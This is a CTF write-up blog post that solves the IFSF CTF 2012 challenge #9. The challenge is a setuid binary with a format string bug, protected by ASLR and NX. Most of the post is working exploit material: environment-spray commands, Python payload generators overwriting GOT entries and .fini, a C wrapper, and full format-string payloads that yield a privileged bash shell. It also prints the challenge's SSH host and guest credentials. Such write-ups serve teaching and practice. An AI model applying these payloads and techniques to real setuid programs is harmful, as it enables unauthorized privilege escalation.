IFSF CTF 2012 #9 – X97

SSH : 208.64.122.235
guest:guest

binary

Category: exploitation
Summary: format string bug, ASLR and NX

Intro

The binary is simple – it just prints any line from a given file.

At first this challenge contained a hard version of binary: it dropped effective UID to guest, so we needed to make setuid(X79) before executing bash (we could do it, because SAVED UID was X79).

But later organizers decided that it’s too hard and posted a new binary without dropping privs. Funny, but it allowed to print a flag directly from file:

$ ./X79 FLAG_BABY
3V1L_D4NCE_X8

It was the first flag. Later organizers added again a “hard” version. Here’s what we have:

dr-------- 2 X79     X79      4096 2012-02-13 12:27 FLAG
-rwsr-xr-x 1 X79     X79      6457 2012-02-13 12:24 X79

Searching for bug

Decompiled source is pretty easy:

int main(int argc, char * argv;) {  
  int i;
  char s[116];
  FILE * fd;
 
  seteuid(502);
 
  char *format = (char *)malloc(strlen(argv[0]) + 400);
  if (argc == 2) {
    fd = fopen(argv[1], "r");
    if (!fd) exit(0);
    srand(time(0));
    for (i = rand() % 10 + 1; i && fgets(&s, 100, fdd); --i);
  }
  else if (argv <= 2) {
      snprintf(format, strlen(format) - 1, "Usage %s: filename [line]\n", argv[0]);
      printf(format);
      exit(0);
  }
  else {
    fd = fopen(argv[1], "r");
    if (!fd)
      exit(0);
    for (i = atoi(argv[2]) % 10; i && fgets(&s, 100, fd); --i);
  }
  printf("Quote of the day: %s", &s);
  return 0;
}

You see – here we have a formatstring vuln – format to printf is generated using argv[0]. Let’s check:

$ ln -s X79 '%p%p%p%p'
$ ./%p%p%p%p 
Usage ./0xffffffff0x80488f20xbf9a78dc0xb77f0ad0: filename [line]

Yeah it works!

Looking around

We have ASLR here, and the stack is NX. Well, ASLR is rather disturbing: we don’t have any data in main‘s stackframe (our part of formatstring is in argv[0]), so argument numbers pointing to our data aren’t constant and have some variation. This problem can be solved by placing a lot of addresses in some ENV variable:

$ export ADDR="`perl -e 'print "A"x8000 . "B"x8000 . "1"x8000 . "2"x8000;'`"

So we can take 1000th argument, then the next is 3000th and so on. Most probably we’ll get into our addresses.

A good thing is that we have a neat trick to disable libc ASLR:

$ ulimit -s unlimited
$ ldd ./X79
	linux-gate.so.1 =>  (0x40020000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)
	/lib/ld-linux.so.2 (0x40000000)
$ ldd ./X79
	linux-gate.so.1 =>  (0x40020000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)
	/lib/ld-linux.so.2 (0x40000000)

Exploiting 1

Let’s first try to launch a shell, without doing setuid(X79). Luckily dynamic section is writable here, so we can use dynamic->.fini.

We can use this nice piece of code:

.text:080487F7  mov     dword ptr [esp], offset aQuoteOfTheDayS ; "Quote of the day: %s"
.text:080487FE  call    _printf

The plan is to overwrite:

fini -> 080487F7
printf@got -> execl@libc

For generating the payload, i’ll use a bit modified version of libformatstr:

#$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep 'execl>:'
#0009bc20 <execl>:
libc = 0x4003a000
execl = 0x009bc20 + libc
fini = 0x80499c0
printf_quote = 0x080487F7
got_printf = 0x8049A98
 
p = FormatStr(200)
p[fini] = printf_quote
p[got_printf] = execl
 
...

Full code

Also we need a wrapper to execute:

//gcc x.c -o x
int main(int argc, char ** argv) {
  execl("./X79", argv[1], NULL);
}

Here’s produced payload:

$ py easy.py 
export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000;'`"
./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
./x '%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Let’s try it:

$ cat >'Quote of the day: %s'
#!/bin/bash -p
bash -p
$ chmod +x 'Quote of the day: %s' 
$ export PATH=".:$PATH"
$ export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000;'`"xx  # added xx because of wrong padding
$ ./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
Usage 080499c2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx: filename [line]
$ ./x '%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
bash-4.2$ id
uid=502(guest) gid=502(guest) groups=502(guest)

Oh, we did it! But privs are dropped.. Funny, there was an easy way to avoid this.
We could exploit easy version, which doesn’t drop privs and get UID=X97 (or even easier, there was another account added by organizers: guest2 (why??)).
So, the X79 binary wouldn’t be able to change seteuid to guest (because we are not guest). And we’ll get a good shell:

$ ./x '%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
bash-4.2$ id
uid=504(guest2) gid=504(guest2) euid=503(X79) groups=503(X79)

Ok, not let’s try to solve it in a right way.

Exploiting 2

It’s supposed that we need to set uid/euid before calling execl. We can try to find ways to call mprotect and run shellcode, but there’s another tricky way:

.text:08048631  mov     dword ptr [esp], 0 ; timer
.text:08048638  call    _time
.text:0804863D  mov     [esp], eax      ; seed
.text:08048640  call    _srand
.text:08048645  call    _rand

Just a simple piece of code, isn’t it? :)
Hehe, we can use it to make setuid(503) and execl(“Quote of the day: %s”):
It’s easy to see that srand‘s argument is a result of time(0). If we can control time(0), we can change srand to setuid and rand to printf_quote.

But what libc function’s result we can control, assuming its argument is 0? A good choice is dup(0): we can open 502 descriptors, and dup(0) will return 503 after that.

So, the plan is to overwrite:

time@got -> dup@libc
srand@got -> setuid@libc
rand@got -> printf_quote
fini -> 0x080487F0  <- also make the second argument valid pointer
printf@got -> execl@libc

That’s rather tricky! We also need to change our wrapper:

int main(int argc, char ** argv) {
  while (dup(0) != 502);
  execl("./X79", argv[1], NULL);
}

Here’s exploit:

libc = 0x4003a000
execl = 0x009bc20 + libc
setuid = 0x009c470 + libc
dup = 0x00c1c50 + libc
 
fini = 0x80499c0
printf_quote = 0x080487F0  # need a valid second pointer too
time_srand = 0x08048631
 
got_printf = 0x8049A98
got_srand = 0x8049A84
got_time = 0x8049AA0
got_rand = 0x8049AA8
 
p = FormatStr(200)
p[got_time] = dup
p[got_srand] = setuid
p[got_rand] = printf_quote
p[fini] = time_srand
p[got_printf] = execl
...

Full code

$ id
uid=502(guest) gid=502(guest) groups=502(guest)
$ ulimit -s unlimited
$ export PATH=".:$PATH"
$ python hard.py 
export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\xaa\x9a\x04\x08"x2000 . "\x86\x9a\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\xa2\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\x84\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000 . "\xa8\x9a\x04\x08"x2000 . "\xa0\x9a\x04\x08"x2000;'`"
./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
./x '%2046c%2000$hn%4000$hn%14345c%6000$hn%8000$hnAA%10000$hn%7185c%12000$hn%2128c%14000$hn%8641c%16000$hn%447c%18000$hn%13408c%20000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
$ export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\xaa\x9a\x04\x08"x2000 . "\x86\x9a\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\xa2\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\x84\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000 . "\xa8\x9a\x04\x08"x2000 . "\xa0\x9a\x04\x08"x2000;'`"
$ ./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
Usage 080499c2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx: filename [line]
$ ./x '%2046c%2000$hn%4000$hn%14345c%6000$hn%8000$hnAA%10000$hn%7185c%12000$hn%2128c%14000$hn%8641c%16000$hn%447c%18000$hn%13408c%20000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
...
bash-4.2$ id
uid=502(guest) gid=502(guest) euid=503(X79) groups=503(X79),502(guest)
bash-4.2$ ls -al FLAG/
ls: cannot access FLAG/.: Permission denied
ls: cannot access FLAG/SHIT_H4PP3N5_XD: Permission denied
ls: cannot access FLAG/..: Permission denied
total 0
d????????? ? ? ? ?                ? .
d????????? ? ? ? ?                ? ..
-????????? ? ? ? ?                ? SHIT_H4PP3N5_XD

Yeah! The second flag is: SHIT_H4PP3N5_XD.

4 comments

Skip to comment form

    • kyprizel (@kyprizel) on February 13, 2012 at 14:40
    • Reply

    epic :)

  1. Pretty awesome! :-)

    • another participant on February 13, 2012 at 17:22
    • Reply

    Congratulations for winning this CTF. You are doing a great job with your write-ups, thanks for helping me and other participants learn from how you did this.

    Good luck in the finals.

  2. awesome hellman :)

Leave a Reply to another participant Cancel reply

Your email address will not be published.